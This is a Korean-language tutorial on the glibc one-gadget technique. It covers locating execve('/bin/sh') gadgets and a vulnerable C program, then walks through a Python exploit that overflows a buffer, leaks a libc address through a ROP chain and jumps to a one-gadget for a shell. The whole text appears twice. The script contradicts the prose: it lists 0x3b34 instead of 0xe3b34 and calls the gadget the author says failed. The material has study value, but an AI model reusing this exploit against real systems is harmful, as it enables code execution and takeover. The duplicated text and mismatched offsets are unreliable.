
1. One-gadget이란?
라이브러리 내에 execve함수 인자값으로 "/bin/sh"가 존재하여 해당 주소로 실행하는 것만으로 쉘 실행이 가능한 가젯.
[왜 one-gadget을 쓰는 것인가?]
=> 기존에 쉘을 실행하는 방법(RTL, ROP기법)
1. "/bin/sh"문자열이 없다면 입력하고서 이용
2. 함수호출규약에 따라 레지스터에 값을 세팅
3. execve, system함수를 호출
기존에는 위 과정을 거쳐서 쉘을 실행했지만
이 one-gadget을 이용하면 해당 주소 호출만으로 쉘을 실행시킬 수 있기 때문에 간편하다.
2. one-gadget을 찾는 방법
2-1. 리눅스 명령어와 도구를 이용하여 탐색
(1) "/bin/sh" 문자열 찾기

strings -tx “libc.so.6주소” | grep /bin/sh
=> strings명령어를 통해서 libc파일에 존재하는 "/bin/sh"문자열의 offset을 얻을 수 있다.
(2) "/bin/sh"를 쓰는 execve함수를 찾기

objdump -M intel -d "libc.so.주소" | grep -C8 "/bin/sh의 오프셋"
- objdump란 도구를 이용해서 libc파일 안에 "/bin/sh"를 사용한 곳을 탐색
- 탐색된 곳 근처에서 인자 값으로 "/bin/sh"를 사용하는 execve 주소를 탐색
- 찾은 주소로 실행 흐름으로 바꾼다면 "/bin/sh"를 매개인자로 가진 execve를
실행하여 쉘 실행 가능
2-2. One_gadget도구를 이용
: david942j가 만든 도구로서 라이브러리 파일에서 One-gadget가젯의 오프셋과 제한조건을
탐색후 출력

one_gadget "libc.so.6주소"
- one_gatget도구에다가 libc파일 주소를 넣는다면 offset과 제약조건을 보여준다.
- 제약조건을 맞추고 offset값을 base주소에 더하고 실행시키면 쉘 실행이 가능
< but offset을 먼저 실행해보고 디버깅을 통해 execve호출 직전에 제약조건을 확인하는 경우가 많음 >
3. One_gatget 테스트
#include <stdio.h>
int main(void){
char buf[20];
read(0, buf, 200);
puts(buf);
return 0;
}
(시나리오)
- buf + 0x8(SFP)크기만큼 더미를 넣어서 BOF를 유발
- memory leak으로 libc의 base주소 구하기
- base주소 + one-gadget오프셋의 주소를 ret영역에 덮어서 호출
payload
# (1) BOF과정
payload = b''
payload += b'A' * 0x27 + b'\x00'
payload += p64(prdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
print("read : ",hex(read_got))
# (2) memory leak과정
onegadget = [0xe3b23, 0xe3b31, 0x3b34]
p.send(payload)
p.recvuntil('\n')
read_addr = u64(p.recvuntil('\n')[:-1] + b'\x00\x00')
libc_addr = read_addr - 0x10dff0
one_addr = libc_addr + onegadget[0]
print("one : ", hex(one_addr))
# (3) recall main함수후 익스
payload = b''
payload += b'A' * 0x27 + b'\x00'
payload += p64(prsi)
payload += p64(0)
payload += p64(0)
payload += p64(one_addr)
p.send(payload)
p.recvuntil('\n')
p.interactive()
(1) BOF과정
=> "BOF(buf+SFP) + puts(got@read)주소"를 ret영역까지 덮어서 read함수의
라이브러리 상의 주소를 출력한다.
(2) memory leak과정
- "libc의 시작주소 = read함수의 라이브러리 주소 - read함수의 offset"
위에 식을 통해서 libc의 시작주소(base주소)를 얻을 수 있다. - "one-gadget주소 = libc베이스주소 + one-gadget오프셋"
얻어낸 base주소와 one_gadget도구로 얻은 오프셋을 더해서 one-gadget호출할 주소를 계산한다.
(3) recall main함수
ex) "one-gadget 오프셋 - 0xe3b34"를 사용
- 이전 BOF과정을 그대로 진행하면서 이번에는 puts함수 대신 one-gadget주소를 ret영역을 덮는다.
- payload상에서는 중간에 "pop rsi"를 불러서 0값을 저장하는데 이유는
제약조건에 "rsi==0"이 있었기 때문에 맞추기 위해서 추가하였다.
제약조건이 충족하지 않을때는?
(상황)
처음엔 페이로드의 "오프셋 0xe3b34" 대신 one_gadget도구에서
첫번째로 나온 "오프셋 0xe3b23"을 사용했고 SIGBUS에러가 발생했다.디버깅과정을 통해 one-gadget가 가리키는 주소가 호출되기 직전에 레지스터 확인

- 레지스터를 확인했을때 제약조건 중 하나인 r12값이 null값이 아니어서 에러 발생

- 그래서 다른 offset값인 0xe3b34를 쓰고 실행조건을 전부 맞췄을때 쉘이 정상적으로 실행되는 것을 확인할 수 있었음


1. One-gadget이란?
라이브러리 내에 execve함수 인자값으로 "/bin/sh"가 존재하여 해당 주소로 실행하는 것만으로 쉘 실행이 가능한 가젯.
[왜 one-gadget을 쓰는 것인가?]
=> 기존에 쉘을 실행하는 방법(RTL, ROP기법)
1. "/bin/sh"문자열이 없다면 입력하고서 이용
2. 함수호출규약에 따라 레지스터에 값을 세팅
3. execve, system함수를 호출
기존에는 위 과정을 거쳐서 쉘을 실행했지만
이 one-gadget을 이용하면 해당 주소 호출만으로 쉘을 실행시킬 수 있기 때문에 간편하다.
2. one-gadget을 찾는 방법
2-1. 리눅스 명령어와 도구를 이용하여 탐색
(1) "/bin/sh" 문자열 찾기

strings -tx “libc.so.6주소” | grep /bin/sh
=> strings명령어를 통해서 libc파일에 존재하는 "/bin/sh"문자열의 offset을 얻을 수 있다.
(2) "/bin/sh"를 쓰는 execve함수를 찾기

objdump -M intel -d "libc.so.주소" | grep -C8 "/bin/sh의 오프셋"
- objdump란 도구를 이용해서 libc파일 안에 "/bin/sh"를 사용한 곳을 탐색
- 탐색된 곳 근처에서 인자 값으로 "/bin/sh"를 사용하는 execve 주소를 탐색
- 찾은 주소로 실행 흐름으로 바꾼다면 "/bin/sh"를 매개인자로 가진 execve를
실행하여 쉘 실행 가능
2-2. One_gadget도구를 이용
: david942j가 만든 도구로서 라이브러리 파일에서 One-gadget가젯의 오프셋과 제한조건을
탐색후 출력

one_gadget "libc.so.6주소"
- one_gatget도구에다가 libc파일 주소를 넣는다면 offset과 제약조건을 보여준다.
- 제약조건을 맞추고 offset값을 base주소에 더하고 실행시키면 쉘 실행이 가능
< but offset을 먼저 실행해보고 디버깅을 통해 execve호출 직전에 제약조건을 확인하는 경우가 많음 >
3. One_gatget 테스트
#include <stdio.h>
int main(void){
char buf[20];
read(0, buf, 200);
puts(buf);
return 0;
}
(시나리오)
- buf + 0x8(SFP)크기만큼 더미를 넣어서 BOF를 유발
- memory leak으로 libc의 base주소 구하기
- base주소 + one-gadget오프셋의 주소를 ret영역에 덮어서 호출
payload
# (1) BOF과정
payload = b''
payload += b'A' * 0x27 + b'\x00'
payload += p64(prdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
print("read : ",hex(read_got))
# (2) memory leak과정
onegadget = [0xe3b23, 0xe3b31, 0x3b34]
p.send(payload)
p.recvuntil('\n')
read_addr = u64(p.recvuntil('\n')[:-1] + b'\x00\x00')
libc_addr = read_addr - 0x10dff0
one_addr = libc_addr + onegadget[0]
print("one : ", hex(one_addr))
# (3) recall main함수후 익스
payload = b''
payload += b'A' * 0x27 + b'\x00'
payload += p64(prsi)
payload += p64(0)
payload += p64(0)
payload += p64(one_addr)
p.send(payload)
p.recvuntil('\n')
p.interactive()
(1) BOF과정
=> "BOF(buf+SFP) + puts(got@read)주소"를 ret영역까지 덮어서 read함수의
라이브러리 상의 주소를 출력한다.
(2) memory leak과정
- "libc의 시작주소 = read함수의 라이브러리 주소 - read함수의 offset"
위에 식을 통해서 libc의 시작주소(base주소)를 얻을 수 있다. - "one-gadget주소 = libc베이스주소 + one-gadget오프셋"
얻어낸 base주소와 one_gadget도구로 얻은 오프셋을 더해서 one-gadget호출할 주소를 계산한다.
(3) recall main함수
ex) "one-gadget 오프셋 - 0xe3b34"를 사용
- 이전 BOF과정을 그대로 진행하면서 이번에는 puts함수 대신 one-gadget주소를 ret영역을 덮는다.
- payload상에서는 중간에 "pop rsi"를 불러서 0값을 저장하는데 이유는
제약조건에 "rsi==0"이 있었기 때문에 맞추기 위해서 추가하였다.
제약조건이 충족하지 않을때는?
(상황)
처음엔 페이로드의 "오프셋 0xe3b34" 대신 one_gadget도구에서
첫번째로 나온 "오프셋 0xe3b23"을 사용했고 SIGBUS에러가 발생했다.디버깅과정을 통해 one-gadget가 가리키는 주소가 호출되기 직전에 레지스터 확인

- 레지스터를 확인했을때 제약조건 중 하나인 r12값이 null값이 아니어서 에러 발생

- 그래서 다른 offset값인 0xe3b34를 쓰고 실행조건을 전부 맞췄을때 쉘이 정상적으로 실행되는 것을 확인할 수 있었음
